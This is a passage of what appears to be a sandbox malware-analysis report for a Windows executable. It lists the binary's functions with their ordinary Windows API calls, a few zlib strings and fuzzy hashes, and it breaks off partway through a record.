Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction ID: 65bd0fc00ed65caac6c8ae18375092c396c339aa9c4fc9a556ba9f8eb5a1fbfe
Opcode Fuzzy Hash: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction Fuzzy Hash: F141E132205B408AEB129F62EC443E977A0F78CBD5F484129EB490B774DF39C959D740

Function 0000000140008260 Relevance: 13.7, APIs: 9, Instructions: 249COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 0000000140008373

Part of subcall function 0000000140012630: TlsGetValue.KERNEL32 ref: 000000014001263F

_wcsdup.MSVCRT ref: 00000001400083AD
_wcsdup.MSVCRT ref: 00000001400083D0
_wcsdup.MSVCRT ref: 00000001400083EE
wcsncpy.MSVCRT ref: 00000001400084F6
free.MSVCRT ref: 0000000140008570
free.MSVCRT ref: 0000000140008582
free.MSVCRT ref: 0000000140008596
wcsncpy.MSVCRT ref: 00000001400085CE

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID:
API String ID: 1554701960-0
Opcode ID: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction ID: 9aa5ebfb9d0338231e5de8689cc7ecd01d3be8732c0a46cca62a2a5aa1271af7
Opcode Fuzzy Hash: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction Fuzzy Hash: FB91BFB2604A8185EA76DF13B9507EA73A0FB48BD5F484225BFCA476E5EB38C542C701

Function 0000000140011AB8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140011AD9
GetProcAddress.KERNEL32 ref: 0000000140011AF5
FreeLibrary.KERNEL32 ref: 0000000140011B1A
Sleep.KERNEL32 ref: 0000000140011B3A

Strings

InitOnceExecuteOnce, xrefs: 0000000140011AEB
0V, xrefs: 0000000140011AC2
Kernel32.dll, xrefs: 0000000140011ACD

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProcSleep
String ID: 0V$InitOnceExecuteOnce$Kernel32.dll
API String ID: 938261879-2442906014
Opcode ID: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction ID: 258e5301f75bcfa7e340e12184f2e3f20ed82b399a9dd39da3854f47a4428b06
Opcode Fuzzy Hash: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction Fuzzy Hash: AB118F3120974585EB5ADF57E8843E973A0FB8CBD0F488029AB0A0B666EF3AC595C340

Function 000000014000B64C Relevance: 12.1, APIs: 8, Instructions: 56COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 000000014000B674
EnableWindow.USER32 ref: 000000014000B6F6
DestroyWindow.USER32 ref: 000000014000B706
UnregisterClassW.USER32 ref: 000000014000B71C

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Window$ClassDestroyEnableProcUnregister
String ID:
API String ID: 1570244450-0
Opcode ID: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction ID: 9942cbda7600913111d3f6e009e2264a98590d225334710fbbc2bdadcd09b10d
Opcode Fuzzy Hash: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction Fuzzy Hash: F121F9B4204A5182FB56DB27F8483A923A1E78CBC1F549126FB4A4B7B5DF3DC8459700

Function 000000014000BEA0 Relevance: 12.0, APIs: 8, Instructions: 44threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 000000014000BEAF
GetCurrentThreadId.KERNEL32 ref: 000000014000BEB7
IsWindowVisible.USER32 ref: 000000014000BEC4

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

GetCurrentThreadId.KERNEL32 ref: 000000014000BEE6
GetWindowLongPtrW.USER32 ref: 000000014000BEFC
GetForegroundWindow.USER32 ref: 000000014000BF0A
IsWindowEnabled.USER32 ref: 000000014000BF18
EnableWindow.USER32 ref: 000000014000BF2B

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction ID: 80f857dfb6a9a2f530fca3cb10c8fb692f8ca5f83b5b0ec86a1534c3d91aadad
Opcode Fuzzy Hash: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction Fuzzy Hash: 9D11397020064182EB46AB27A9483B962A1EB8CBC4F448024FA0A4B6B5DF7DC5458301

Function 00000001400117FC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011855
HeapAlloc.KERNEL32 ref: 0000000140011890
LeaveCriticalSection.KERNEL32 ref: 00000001400118FB
HeapAlloc.KERNEL32 ref: 0000000140011910
InitializeCriticalSection.KERNEL32 ref: 0000000140011952

Strings

0V, xrefs: 000000014001180B

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CriticalSection$AllocHeap$EnterInitializeLeave
String ID: 0V
API String ID: 2544007295-2748129481
Opcode ID: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction ID: 3c708bd0e8d6be70d523372ffb5b6a2e3cd9d0d7dbc1ea7b56162c86fa93b61b
Opcode Fuzzy Hash: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction Fuzzy Hash: 5E413932605B8086EB5ADF56E4403E877A4F79CBD0F54812AEB4D4BBA5DF39C8A5C700

Function 000000014000BF44 Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 000000014000BF61
GetCurrentThreadId.KERNEL32 ref: 000000014000BF7A
SetWindowPos.USER32 ref: 000000014000BFAB
GetCurrentThreadId.KERNEL32 ref: 000000014000BFCA
EnableWindow.USER32 ref: 000000014000BFE4
SetWindowPos.USER32 ref: 000000014000C010

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction ID: 08829170a8ee5f1b49cfdf050f6537c1ef42b3a6330418e8cb94bb4851fba9f1
Opcode Fuzzy Hash: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction Fuzzy Hash: 6D3171B261064182FB62CF22F5487A977A1F75CBE9F484215FB6947AF9CB79C844CB00

Function 00000001400110DC Relevance: 9.1, APIs: 6, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140011112
HeapAlloc.KERNEL32 ref: 000000014001112D
TlsSetValue.KERNEL32 ref: 000000014001113C
TlsGetValue.KERNEL32 ref: 000000014001115F
HeapReAlloc.KERNEL32 ref: 000000014001117B
TlsSetValue.KERNEL32 ref: 000000014001118D

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction ID: 773301f083ee798336704ec3d5312664b9b868eef9dc2a5d6ba13fea1fa7b4fd
Opcode Fuzzy Hash: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction Fuzzy Hash: 3821F434200B8096EB4A9B92F8843E963A5F7DCBD0F548429FB4D47B79DE3DC8858740

Function 0000000140007284 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00000001400072B3
EnterCriticalSection.KERNEL32 ref: 00000001400072CC
WaitForSingleObject.KERNEL32 ref: 00000001400072E4
CloseHandle.KERNEL32 ref: 00000001400072F1
LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterHandleLeaveObjectSingleThreadWait
String ID:
API String ID: 458812214-0
Opcode ID: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction ID: 6ed0f769cbd5916c92599595d34faf5ec2fc13e913d525d246d608b89e2aac48
Opcode Fuzzy Hash: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction Fuzzy Hash: FD210076204B0081EB06DB22E8943E973A4FB8CBC4F988026EB4D47779DF39C946C340

Function 0000000140011968 Relevance: 7.6, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011985
LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7

DeleteCriticalSection.KERNEL32 ref: 0000000140011A0B
HeapFree.KERNEL32 ref: 0000000140011A1D

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction ID: 030e86aa03d9d600b90796447865b7023312810cb66964dcc71f9bcfbca43c2c
Opcode Fuzzy Hash: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction Fuzzy Hash: 4721E735201B4485EB4ADB57E5903E823A4F78CBC4F444115AB5E0B7B6CF3AC4A5C340

Function 000000014000E824 Relevance: 6.3, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000E9C7
memset.MSVCRT ref: 000000014000E9D5
memset.MSVCRT ref: 000000014000E9E2
memset.MSVCRT ref: 000000014000E9F1
memset.MSVCRT ref: 000000014000E9FF

Part of subcall function 000000014000FEE4: memmove.MSVCRT ref: 000000014000FF5C

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: memset$memmove
String ID:
API String ID: 3527438329-0
Opcode ID: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction ID: dba297aa8fb042b18ff0822facc25e4acf5e394d44c3b4579297ae20e1131b5c
Opcode Fuzzy Hash: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction Fuzzy Hash: E231007271064081FB16DA2BE4507E96612E38DBD0F848126EB1A83BAACA7EC502C740

Function 00000001400130CB Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
, xrefs: 00000001400130CB

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID:
String ID: $ $header crc mismatch
API String ID: 0-4092041874
Opcode ID: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction ID: f6894c87bdfd3a48e6411c52319aba3e102a5ca19e93322268f312efd41433f4
Opcode Fuzzy Hash: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction Fuzzy Hash: 41A18FB26003508BFB269E1AC48C7AE3BE6F7587C8F064558EB964B3A4D776C954C780

Function 0000000140007A50 Relevance: 6.2, APIs: 4, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0000000140007B33
wcsncpy.MSVCRT ref: 0000000140007B9F
wcsncpy.MSVCRT ref: 0000000140007BF9
HeapFree.KERNEL32 ref: 0000000140007C15

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Heapwcsncpy$AllocFree
String ID:
API String ID: 1479455602-0
Opcode ID: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction ID: 28fd82db213d89e843f0df720333d3fbeca218ccf85cb71e10007619eb34b75b
Opcode Fuzzy Hash: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction Fuzzy Hash: BF51A0B2B0068486EA66DF26A404BEA67E1F789BD4F588125EF4D477E5EB3CC542C300

Function 00000001400136B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014001375C

Strings

invalid stored block lengths, xrefs: 00000001400136F0
, xrefs: 00000001400136BA
, xrefs: 00000001400136DB

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: memmove
String ID: $ $invalid stored block lengths
API String ID: 2162964266-1718185709
Opcode ID: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction ID: 754f218cd566fbce8dd602483dcb0b6cf2df6dd41c0e80f26ad42ee7a9f80f3a
Opcode Fuzzy Hash: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction Fuzzy Hash: 3A417B766006508BE7268F27D5887AE3BA0F3087C8F155119FF8A4BBA4C776D8A1CB40

Function 000000014000C4F0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5A6
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5E1
RtlVirtualUnwind.KERNEL32 ref: 000000014000C64C
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C672

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: EntryFunctionLookup$UnwindVirtual
String ID:
API String ID: 3286588846-0
Opcode ID: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction ID: 3ebace1c390976f506d0f99ca18ed721a427f0b26ede3763bfd5663c46823d1b
Opcode Fuzzy Hash: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction Fuzzy Hash: 48512E66A15FC481EA61CB29E5453ED63A0FB9DB84F09A215DF8C13756EF34D2D4C700

Function 00000001400085F0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 000000014000861A
CharLowerW.USER32 ref: 000000014000864F
CharLowerW.USER32 ref: 000000014000867D
CharLowerW.USER32 ref: 0000000140008688

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction ID: 89447f37e157e5f910190f26039f07b44efb98263a832e051549732566d91b47
Opcode Fuzzy Hash: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction Fuzzy Hash: BB2181766006A092EA66EF13A8047BA76A0F748BF5F5A4211FFD5072E0DB35C495D710

Function 00000001400171F0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014001724E
malloc.MSVCRT ref: 0000000140017260
WideCharToMultiByte.KERNEL32 ref: 000000014001728B
malloc.MSVCRT ref: 00000001400172A2

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction ID: 84a502ef329111f45b75735ee98b05bbb8abde518fb530cc481733cdeaf2302d
Opcode Fuzzy Hash: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction Fuzzy Hash: 76216532608B8086D725CF56B44079AB7A5F7887D4F088325FF9917BA9DF3DC5529700

Function 000000014000DCA4 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32 ref: 000000014000DCCD
SHGetPathFromIDListW.SHELL32 ref: 000000014000DCDF
wcslen.MSVCRT ref: 000000014000DCEC
CoTaskMemFree.OLE32 ref: 000000014000DD0F

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction ID: 658b845125df41e3d707b834e255611bbe4f6e958313e82604e3ea1cd6ed1d71
Opcode Fuzzy Hash: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction Fuzzy Hash: 50016972314A5092E7219B26A5807AAA3B4FB88BC0F548026EB4987774DF3AC8528300

Function 000000014001147C Relevance: 5.1, APIs: 4, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001149E
HeapAlloc.KERNEL32 ref: 0000000140011573
HeapAlloc.KERNEL32 ref: 0000000140011597
LeaveCriticalSection.KERNEL32 ref: 0000000140011600

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction ID: a4d5f086a96e389f2db612197d0023b8b07f868559dabceebcf4944cd54701ff
Opcode Fuzzy Hash: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction Fuzzy Hash: 47513A72601B44C7EB5ACF26E18039873A5F78CF88F188526EB4E4B766DB35D4A1C750

Function 000000014000D02C Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 000000014000D0B1
HeapAlloc.KERNEL32 ref: 000000014000D0C7
wcscpy.MSVCRT ref: 000000014000D0D7
memset.MSVCRT ref: 000000014000D111

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
